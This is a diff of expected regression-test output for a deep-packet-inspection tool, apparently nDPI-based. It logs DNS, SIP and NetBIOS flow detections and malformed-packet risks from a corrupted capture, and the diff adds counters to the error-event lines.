[....79] [ip4][..udp] [....192.168.1.2][.2743] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] detection-update: [....79] [ip4][..udp] [....192.168.1.2][.2743] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] @@ -389,7 +389,7 @@ RISK: Malformed Packet new: [....93] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2733] detected: [....93] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2733] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....94] [ip4][..udp] [....192.168.1.2][.2750] -> [....192.168.1.1][...53] detected: [....94] [ip4][..udp] [....192.168.1.2][.2750] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.voip.brujula.net] new: [....95] [ip4][..udp] [....192.168.1.2][10942] -> [....192.168.1.1][...53] @@ -448,7 +448,7 @@ update: [....90] [ip4][..udp] [....192.168.1.2][.2748] -> [....192.168.1.1][...53] update: [....89] [ip4][..udp] [....192.168.1.2][.5060] -> [..200.68.120.81][.4932] [SIP][VoIP][Acceptable] update: [....91] [ip4][..udp] [....192.168.1.2][.5060] -> [..200.68.120.81][.5060] [SIP][VoIP][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [...106] [ip4][..udp] [....192.168.1.2][.2754] -> [....192.168.1.1][...53] new: [...107] [ip4][..118] [....192.168.1.2] -> [..200.68.120.81] detected: [...106] [ip4][..udp] [....192.168.1.2][.2754] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cyberciwy.dk] @@ -563,13 +563,13 @@ idle: [....79] [ip4][..udp] [....192.168.1.2][.2743] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] update: [....85] [ip4][..240] [....192.168.1.2] -> [....192.168.1.1] update: [...110] [ip4][..udp] [....192.168.1.2][.2756] -> [....192.168.1.1][...53] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...118] [ip4][..udp] [.....192.22.1.2][.2760] -> [....192.168.1.1][...53] new: [...119] [ip4][..udp] [....192.168.1.2][.2760] -> [....192.168.1.1][...53] detected: [...119] [ip4][..udp] [....192.168.1.2][.2760] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip.eudp.sip.cybercity.dk] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: Unknown packet type [4/16] detection-update: [...119] [ip4][..udp] [....192.168.1.2][.2760] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] idle: [....81] [ip4][..udp] [....192.168.1.2][...88] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable] idle: [....80] [ip4][..udp] [....192.168.1.2][.2744] -> [....192.168.1.1][...53] @@ -607,8 +607,8 @@ RISK: Malformed Packet detection-update: [...121] [ip4][..udp] [....192.168.1.2][.2762] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.sk] RISK: Malformed Packet - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown L3 protocol [2/16] not-detected: [....82] [ip4][..udp] [..192.168.1.170][43690] -> [170.170.170.170][43690] [Unknown][Unrated] idle: [....82] [ip4][..udp] [..192.168.1.170][43690] -> [170.170.170.170][43690] idle: [....83] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2745] [DNS][Network][Acceptable] @@ -616,14 +616,14 @@ update: [...112] [ip4][..udp] [....192.168.1.2][.2640] -> [....192.168.1.1][...53] update: [...114] [ip4][..udp] [.192.168.37.115][.2758] -> [....128.168.1.1][...53] update: [...113] [ip4][..udp] [....192.168.1.2][.2785] -> [....192.168.1.1][...53] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [3/16] new: [...122] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2763] detected: [...122] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2763] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] RISK: Malformed Packet - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [4/16] new: [...123] [ip4][..udp] [....192.168.1.2][.2764] -> [....192.168.1.1][...53] detected: [...123] [ip4][..udp] [....192.168.1.2][.2764] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [5/16] new: [...124] [ip4][..udp] [....192.168.1.2][43690] -> [170.170.170.170][43690] detection-update: [...123] [ip4][..udp] [....192.168.1.2][.2764] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.s?p.cibercity.dk] detection-update: [...123] [ip4][..udp] [....192.168.1.2][.2764] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] @@ -652,7 +652,7 @@ new: [...128] [ip4][..udp] [....192.168.1.2][.2766] -> [....192.168.1.1][...53] detected: [...128] [ip4][..udp] [....192.168.1.2][.2766] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...128] [ip4][..udp] [....192.168.1.2][.2766] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybe0city.dk] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [...129] [ip4][..udp] [....192.168.1.2][14798] -> [....192.168.1.1][...53] detected: [...129] [ip4][..udp] [....192.168.1.2][14798] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] idle: [....93] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2733] [DNS][Network][Acceptable] @@ -680,7 +680,7 @@ detection-update: [...130] [ip4][..udp] [....192.168.1.2][.2767] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [...131] [ip4][..udp] [....192.168.1.2][.2768] -> [....192.168.1.1][...53] detected: [...131] [ip4][..udp] [....192.168.1.2][.2768] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...132] [ip4][..udp] [....192.168.1.2][35536] -> [....192.168.1.1][...53] detected: [...132] [ip4][..udp] [....192.168.1.2][35536] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [...133] [ip4][..udp] [.....94.168.1.2][.2768] -> [....192.168.1.1][....4] @@ -713,16 +713,16 @@ RISK: Malformed Packet update: [...123] [ip4][..udp] [....192.168.1.2][.2764] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] RISK: Malformed Packet - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] new: [...136] [ip4][..127] [....192.168.1.2] -> [....192.168.1.1] new: [...137] [ip4][..udp] [....192.168.1.2][.2770] -> [....192.168.1.1][...53] detected: [...137] [ip4][..udp] [....192.168.1.2][.2770] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [...138] [ip4][..udp] [....192.168.1.2][..137] -> [..120.168.1.255][..137] detected: [...138] [ip4][..udp] [....192.168.1.2][..137] -> [..120.168.1.255][..137] [NetBIOS][System][Acceptable][eci_doma] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [4/16] detection-update: [...137] [ip4][..udp] [....192.168.1.2][.2770] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet idle: [...108] [ip4][..udp] [.....14.168.1.2][.2754] -> [....192.168.1.1][...53] @@ -749,7 +749,7 @@ detected: [...139] [ip4][..udp] [...192.168.1.57][.2771] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] new: [...140] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2771] detected: [...140] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2771] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...141] [ip4][..udp] [....192.168.1.2][..138] -> [..192.168.1.255][..138] detected: [...141] [ip4][..udp] [....192.168.1.2][..138] -> [..192.168.1.255][..138] [NetBIOS.SMBv1][System][Dangerous][d002465] RISK: Unsafe Protocol @@ -785,7 +785,7 @@ update: [...135] [ip4][..udp] [....192.168.1.1][..117] -> [....192.168.1.2][.2769] new: [...144] [ip4][..udp] [....192.168.1.2][.2773] -> [....192.168.1.1][...53] detected: [...144] [ip4][..udp] [....192.168.1.2][.2773] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.il-addr.arpa] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] idle: [...112] [ip4][..udp] [....192.168.1.2][.2640] -> [....192.168.1.1][...53] idle: [...111] [ip4][..udp] [....192.168.1.2][.2757] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] RISK: Malformed Packet @@ -836,7 +836,7 @@ detected: [...148] [ip4][..udp] [....192.168.1.2][.2776] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...148] [ip4][..udp] [....192.168.1.2][.2776] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] detection-update: [...148] [ip4][..udp] [....192.168.1.2][.2776] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] RISK: Malformed Packet guessed: [...118] [ip4][..udp] [.....192.22.1.2][.2760] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] @@ -863,7 +863,7 @@ new: [...151] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2782] detected: [...151] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2782] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [...152] [ip4][..udp] [....192.168.1.6][.5060] -> [..212.242.33.35][.5060] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] idle: [...120] [ip4][..udp] [....192.168.1.2][.2761] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] idle: [...121] [ip4][..udp] [....192.168.1.2][.2762] -> [....192.168.1.1][...53] update: [...138] [ip4][..udp] [....192.168.1.2][..137] -> [..120.168.1.255][..137] [NetBIOS][System][Acceptable] @@ -880,7 +880,7 @@ new: [...153] [ip4][..udp] [....192.168.1.2][.2783] -> [....192.168.1.1][...53] detected: [...153] [ip4][..udp] [....192.168.1.2][.2783] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...153] [ip4][..udp] [....192.168.1.2][.2783] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [...154] [ip4][..udp] [......0.168.1.2][.2783] -> [....192.168.1.1][...53] detected: [...154] [ip4][..udp] [......0.168.1.2][.2783] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...153] [ip4][..udp] [....192.168.1.2][.2783] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] @@ -905,7 +905,7 @@ RISK: Malformed Packet new: [...156] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.5.2][.2784] detected: [...156] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.5.2][.2784] [DNS][Network][Acceptable][1.0.0.127.in-addr.aspa] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] idle: [...129] [ip4][..udp] [....192.168.1.2][14798] -> [....192.168.1.1][...53] idle: [...126] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2765] [DNS][Network][Acceptable] RISK: Malformed Packet @@ -939,7 +939,7 @@ update: [...151] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2782] [DNS][Network][Acceptable] new: [...161] [ip4][..udp] [....192.168.1.2][.2786] -> [....192.168.1.3][...53] detected: [...161] [ip4][..udp] [....192.168.1.2][.2786] -> [....192.168.1.3][...53] [DNS][Network][Acceptable][1.0.0.127.in-ad?r.arpa] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...162] [ip4][..udp] [..212.242.33.35][.9587] -> [....192.168.1.2][..196] new: [...163] [ip4][..udp] [....192.168.1.2][.2787] -> [....192.168.3.1][...53] detected: [...163] [ip4][..udp] [....192.168.1.2][.2787] -> [....192.168.3.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] @@ -971,8 +971,8 @@ [IATS(ms)....: 17474.8,107207.5,89874.9,17280.7,167478.6,167525.2,17335.8,73902.7,91241.1,17333.2,25.9,17725.0,29031.8,29092.7,68237.2,29272.4,29031.8,29031.6,29031.5,18604.5,279041.8,227.1,15287.5,17115.0,32679.4,257.3,76383.1,29031.1,58063.5,24495.5,17375.1] [PKTLENS.....: 514,374,495,514,708,514,708,519,514,708,334,498,33,33,33,33,33,33,33,33,853,621,368,33,1104,473,363,33,33,33,466,701] [ENTROPIES...: 5.8,5.8,5.8,5.8,5.8,1.5,3.4,2.9,5.8,4.1,5.8,3.2,4.1,4.1,4.1,4.1,4.1,4.1,4.1,4.1,5.8,5.8,5.7,4.1,1.5,5.8,4.6,4.1,4.0,4.1,3.3,2.3] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...167] [ip4][..udp] [....192.168.1.2][.2789] -> [....192.168.1.1][...53] detected: [...167] [ip4][..udp] [....192.168.1.2][.2789] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...167] [ip4][..udp] [....192.168.1.2][.2789] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] @@ -992,14 +992,14 @@ update: [...156] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.5.2][.2784] [DNS][Network][Acceptable] new: [...168] [ip4][..udp] [....192.168.1.2][.2790] -> [....192.168.1.1][...53] detected: [...168] [ip4][..udp] [....192.168.1.2][.2790] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...169] [ip4][..udp] [..212.242.33.35][.5060] -> [...192.37.115.0][.5060] detected: [...169] [ip4][..udp] [..212.242.33.35][.5060] -> [...192.37.115.0][.5060] [SIP][VoIP][Acceptable] new: [...170] [ip4][..udp] [...192.168.79.2][.2791] -> [....192.168.1.1][...53] detected: [...170] [ip4][..udp] [...192.168.79.2][.2791] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [...171] [ip4][..udp] [...192.168.1.53][.2791] -> [....192.168.1.1][...53] detected: [...171] [ip4][..udp] [...192.168.1.53][.2791] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...172] [ip4][..udp] [....192.168.1.2][..137] -> [..192.194.1.255][..137] detected: [...172] [ip4][..udp] [....192.168.1.2][..137] -> [..192.194.1.255][..137] [NetBIOS][System][Acceptable][eci_domain] new: [...173] [ip4][..udp] [170.170.170.170][43690] -> [170.170.170.170][43690] @@ -1031,7 +1031,7 @@ new: [...177] [ip4][..udp] [....192.168.1.1][...53] -> [....240.168.1.2][.2792] detected: [...177] [ip4][..udp] [....192.168.1.1][...53] -> [....240.168.1.2][.2792] [DNS][Network][Acceptable][1.0.0.127.in-a?dr.arpa] RISK: Malformed Packet - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] update: [...117] [ip4][...37] [....192.168.1.1] -> [....192.168.1.2] update: [...162] [ip4][..udp] [..212.242.33.35][.9587] -> [....192.168.1.2][..196] update: [....85] [ip4][..240] [....192.168.1.2] -> [....192.168.1.1] @@ -1105,7 +1105,7 @@ RISK: Malformed Packet update: [...159] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][35721] update: [...107] [ip4][..118] [....192.168.1.2] -> [..200.68.120.81] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] not-detected: [...162] [ip4][..udp] [..212.242.33.35][.9587] -> [....192.168.1.2][..196] [Unknown][Unrated] idle: [...162] [ip4][..udp] [..212.242.33.35][.9587] -> [....192.168.1.2][..196] not-detected: [....85] [ip4][..240] [....192.168.1.2] -> [....192.168.1.1] [Unknown][Unrated] @@ -1153,7 +1153,7 @@ detected: [...183] [ip4][..udp] [...192.168.1.41][..137] -> [..107.168.1.255][..137] [NetBIOS][System][Acceptable][workgroup] new: [...184] [ip4][..udp] [.....115.0.1.41][..137] -> [..192.168.1.255][..137] detected: [...184] [ip4][..udp] [.....115.0.1.41][..137] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable][workgroup] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] idle: [...164] [ip4][..udp] [....192.168.1.2][.2787] -> [....192.168.1.1][...53] idle: [...165] [ip4][..udp] [....192.168.1.2][.2788] -> [....192.168.1.1][...53] idle: [...167] [ip4][..udp] [....192.168.1.2][.2789] -> [....192.168.1.1][...53] @@ -1205,7 +1205,7 @@ new: [...190] [ip4][..udp] [....192.168.1.2][.2793] -> [....192.168.1.1][...53] detected: [...190] [ip4][..udp] [....192.168.1.2][.2793] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][re-.sippstar.com] detection-update: [...190] [ip4][..udp] [....192.168.1.2][.2793] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][reg.sip?star.com] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] detection-update: [...190] [ip4][..udp] [....192.168.1.2][.2793] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][reg.sippstar.com] new: [...191] [ip4][..udp] [....192.168.1.2][.2794] -> [..192.168.108.1][...53] detected: [...191] [ip4][..udp] [....192.168.1.2][.2794] -> [..192.168.108.1][...53] [DNS][Network][Acceptable][sip.cybercity.dk] @@ -1225,7 +1225,7 @@ detected: [...192] [ip4][..udp] [....192.168.1.2][.2795] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][sip.cybercity.dk] new: [...193] [ip4][..udp] [....192.168.1.2][.2794] -> [....192.168.1.1][...53] detected: [...193] [ip4][..udp] [....192.168.1.2][.2794] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] detection-update: [...192] [ip4][..udp] [....192.168.1.2][.2795] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][sip.cybercity.dk] detection-update: [...193] [ip4][..udp] [....192.168.1.2][.2794] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][sip.cybercity.dk] new: [...194] [ip4][..udp] [....192.168.1.2][.2796] -> [....192.168.1.1][...53] @@ -1235,7 +1235,7 @@ new: [...195] [ip4][..udp] [192.168.170.170][43690] -> [170.170.170.170][43690] detection-update: [...194] [ip4][..udp] [....192.168.1.2][.2796] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] RISK: Malformed Packet - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] update: [.....1] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable] update: [...187] [ip4][..udp] [....192.168.1.2][..137] -> [..200.168.1.255][..137] [NetBIOS][System][Acceptable] update: [...186] [ip4][..udp] [....192.168.1.2][43690] -> [192.168.170.170][43690] @@ -1247,14 +1247,14 @@ detection-update: [...197] [ip4][..udp] [....192.168.1.2][.2797] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [...198] [ip4][..udp] [..212.242.33.35][.5060] -> [....192.168.1.2][.5060] detected: [...198] [ip4][..udp] [..212.242.33.35][.5060] -> [....192.168.1.2][.5060] [SIP][VoIP][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...199] [ip4][..udp] [....192.168.1.2][.2798] -> [....192.168.1.1][...53] detected: [...199] [ip4][..udp] [....192.168.1.2][.2798] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] update: [...166] [ip4][....0] [....192.168.1.1] -> [....192.168.1.2] update: [...157] [ip4][...19] [....192.168.1.2] -> [....192.168.1.1] update: [...136] [ip4][..127] [....192.168.1.2] -> [....192.168.1.1] update: [....37] [ip4][..170] [170.170.170.170] -> [170.170.170.170] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] new: [...200] [ip4][..udp] [....192.168.1.2][.2799] -> [....192.168.1.1][...53] detected: [...200] [ip4][..udp] [....192.168.1.2][.2799] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [...201] [ip4][..udp] [....192.168.1.1][...53] -> [..192.168.119.2][.2799] @@ -1263,7 +1263,7 @@ detected: [...202] [ip4][..udp] [....192.168.1.2][.2800] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_s?p._udp.sip.cybercity.dk] detection-update: [...202] [ip4][..udp] [....192.168.1.2][.2800] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [...203] [ip4][..udp] [....192.168.1.2][.2800] -> [....192.168.1.1][...21] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] update: [...117] [ip4][...37] [....192.168.1.1] -> [....192.168.1.2] update: [...188] [ip4][..udp] [....192.168.1.2][...68] -> [....192.168.1.1][...67] [DHCP][Network][Acceptable] update: [...183] [ip4][..udp] [...192.168.1.41][..137] -> [..107.168.1.255][..137] [NetBIOS][System][Acceptable] @@ -1300,7 +1300,7 @@ detection-update: [...209] [ip4][..udp] [....192.168.1.2][.2803] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [...210] [ip4][..udp] [....192.168.1.2][.2804] -> [....192.168.1.1][...53] detected: [...210] [ip4][..udp] [....192.168.1.2][.2804] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] detection-update: [...210] [ip4][..udp] [....192.168.1.2][.2804] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cyberc?ty.dk] idle: [...183] [ip4][..udp] [...192.168.1.41][..137] -> [..107.168.1.255][..137] [NetBIOS][System][Acceptable] idle: [...184] [ip4][..udp] [.....115.0.1.41][..137] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable] @@ -1311,8 +1311,8 @@ update: [...197] [ip4][..udp] [....192.168.1.2][.2797] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] update: [...199] [ip4][..udp] [....192.168.1.2][.2798] -> [....192.168.1.1][...53] detection-update: [...210] [ip4][..udp] [....192.168.1.2][.2804] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] idle: [...185] [ip4][..udp] [...192.168.1.41][..137] -> [.192.168.37.115][..137] [NetBIOS][System][Acceptable] new: [...211] [ip4][..udp] [....192.168.1.2][.2805] -> [....192.168.1.1][...51] new: [...212] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2805] @@ -1335,7 +1335,7 @@ update: [...200] [ip4][..udp] [....192.168.1.2][.2799] -> [....192.168.1.1][...53] update: [...201] [ip4][..udp] [....192.168.1.1][...53] -> [..192.168.119.2][.2799] [DNS][Network][Acceptable] update: [...202] [ip4][..udp] [....192.168.1.2][.2800] -> [....192.168.1.1][...53] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [...214] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2807] detected: [...214] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2807] [DNS][Network][Acceptable][] RISK: Malformed Packet @@ -1354,7 +1354,7 @@ update: [...204] [ip4][..udp] [....192.168.1.2][.2801] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] RISK: Malformed Packet update: [...207] [ip4][..udp] [....192.168.1.2][.2802] -> [....192.168.1.1][...53] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] new: [...217] [ip4][..udp] [....192.168.1.2][19192] -> [....192.168.1.1][...53] detected: [...217] [ip4][..udp] [....192.168.1.2][19192] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [...218] [ip4][..udp] [....192.168.1.2][.2809] -> [....192.168.1.1][...53] @@ -1384,8 +1384,8 @@ RISK: Malformed Packet new: [...224] [ip4][..udp] [..192.168.233.1][...53] -> [....192.168.1.2][.2811] detected: [...224] [ip4][..udp] [..192.168.233.1][...53] -> [....192.168.1.2][.2811] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] new: [...225] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][..905] update: [...149] [ip4][....0] [....192.168.1.2] -> [..192.168.1.255] update: [...203] [ip4][..udp] [....192.168.1.2][.2800] -> [....192.168.1.1][...21] @@ -1400,7 +1400,7 @@ new: [...226] [ip4][..udp] [....192.168.1.2][.2812] -> [....192.168.1.1][...53] detected: [...226] [ip4][..udp] [....192.168.1.2][.2812] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cyaercity.dk] detection-update: [...226] [ip4][..udp] [....192.168.1.2][.2812] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] idle: [...190] [ip4][..udp] [....192.168.1.2][.2793] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] idle: [...191] [ip4][..udp] [....192.168.1.2][.2794] -> [..192.168.108.1][...53] update: [...208] [ip4][..udp] [....192.168.1.2][18162] -> [....192.168.1.1][...53] @@ -1435,17 +1435,17 @@ new: [...227] [ip4][..udp] [....192.168.1.2][.2813] -> [....192.168.1.1][...53] detected: [...227] [ip4][..udp] [....192.168.1.2][.2813] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127?in-ad_r?arpa???] RISK: Malformed Packet - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...228] [ip4][..udp] [....192.168.1.2][.2814] -> [....192.168.1.1][...53] detected: [...228] [ip4][..udp] [....192.168.1.2][.2814] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: Unknown packet type [4/16] + ERROR-EVENT: Unknown packet type [5/16] new: [...229] [ip4][..udp] [....192.168.1.2][29440] -> [...192.168.1.37][..137] detected: [...229] [ip4][..udp] [....192.168.1.2][29440] -> [...192.168.1.37][..137] [NetBIOS][System][Acceptable][] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] detection-update: [...228] [ip4][..udp] [....192.168.1.2][.2814] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sib._udp.sip.cybercity.dk] RISK: Malformed Packet 